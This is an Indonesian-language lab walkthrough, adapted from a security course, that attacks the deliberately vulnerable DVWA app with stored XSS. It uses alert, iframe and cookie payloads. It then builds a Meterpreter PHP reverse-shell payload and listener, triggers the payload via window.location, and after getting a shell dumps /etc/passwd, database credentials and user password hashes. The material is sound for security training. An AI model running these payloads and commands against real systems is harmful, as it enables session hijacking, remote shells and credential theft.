DVWA: XSS

sumber: http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Tujuan

• Test a basic cross site scripting (XSS) attack
• Test an iframe cross site scripting (XSS) attack
• Test a cookie cross site scripting (XSS) attack
• Create a php/meterpreter/reverse_tcp payload
• Start the php/meterpreter/reverse_tcp listener
• Upload the PHP payload to the DVWA Upload screen
• Test a PHP Payload cross site scripting (XSS) attack

Di sisi DVWA

Cek IP

ifconfig

Fix Stored Cross Site Scripting (XSS) Comment Box

Edit index.php

cd /var/www/html/DVWA-1.9/vulnerabilities/xss_s/
vi index.php

Search dengan keyword mtxMessage Ubah maxlength=50

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea>

menjadi maxlength=250

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"250\"></textarea>

Di sisi Kali Linux

Cek IP Kali Linux

ifconfig -a

Enable Javascript di Browser

Buka Firefox
Preferences > Content > Uncheck - Block pop-up windows

Masuk ke DVWA

• Login
• DVWA Security > Low

XSS Stored Basic Exploit Test

• Klik > XSS (Stored)
• Name > "Test 1"
• Message > "<script>alert("This is a XSS Exploit Test")</script>"
• Klik > Sign Guestbook

XSS Stored IFRAME Exploit Test

• Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
• Klik > XSS (Stored)
• Nama > "Test 2"
• Message > "<iframe src="http://www.cnn.com"></iframe>"
• Klik > Sign Guestbook

Tampak bahwa CNN muncul di bawah "Test 2" . Teknik ini menjadi exploit yang sangat powerful yang dapat digunakan dalam Social Engineering Toolkit (SET) untuk cloning web.

XSS Stored COOKIE Exploit Test

• Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
• Klik > XSS (Stored)
• Nama > "Test 3"
• Message > "<script>alert(document.cookie)</script>"
• Klik > Sign Guestbook

Akibatnya cookie/session yang digunakan untuk hubungan komunikasi dengan webserver dapat diambil. Attacker dapat memodifikasi XSS script ini untuk mengirimkan cookie ke lokasi remote, bukan menampilkannya. Bayangkan jika ini sebuah situs bank online, setiap kali user login & informasi cookie dikirim ke lokasi remote untuk di manfaatkan.

Build PHP msfpayload

   mkdir -p /root/backdoor
   cd /root/backdoor
   msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
   ls -l FORUM_BUG.php

   Select "Upload" from the left navigation menu.
   Click Browse

Start msfconsole

       msfconsole

use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.105 set LPORT 4444 exploit

XSS Stored window.location Exploit Test

• Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
• Klik > XSS (Stored)

Name: Test 4 Message:

   <script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>
       Replace 192.168.1.106 with the IP Address obtain from Fedora 14 in (Section 3, Step 3).

Click Sign Guestbook Click OK when the Test 1 Message is displayed

shell

   Establishes a "sh" shell.

tail /etc/passwd

   This produces a potential prospect list for a ssh brute force attack

   whoami
       Displays the name of the user.
   grep apache /etc/passwd
       The goal of this command is obtaining the home directory for the apache username.
   find /var/www/* -print | grep config
       Here I am wanting to find all the configuration files in the /var/www directory.

   grep "db_" /var/www/html/dvwa/config/config.inc.php
       This produces the database name, username, and password information to log into the mysql database.
   echo "use dvwa; show tables;" | mysql -uroot -p123456
       This command produces a table list of the dvwa database.
   echo "use dvwa; desc users;" | mysql -uroot -p123456
       This command describes the columns of the users table in the dvwa datase.
   echo "select user,password from dvwa.users;" | mysql -uroot -p123456
       This command displays the user and password information for each user in the dvwa.users table.

echo "

" >> /var/www/html/dvwa/hackable/uploads/xss.html
        Place the html <pre> tag in the xss.html file.
        The <pre> is used as a pre-formatter.
    echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
        Place user and password for the dvwa.users table in the xss.html file.
    echo "

" >> /var/www/html/dvwa/hackable/uploads/xss.html Place the close html tag in the xss.html file.

   echo "
Your Name
" >> /var/www/html/dvwa/hackable/uploads/xss.html
       Replace the string "Your Name" with your actual name.
   date >> /var/www/html/dvwa/hackable/uploads/xss.html

   On BackTrack, place the below URI in Firefox
       http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html
           Replace the above IP address with the IP Address obtained in (Section 3, Step 3).

Referensi

• http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html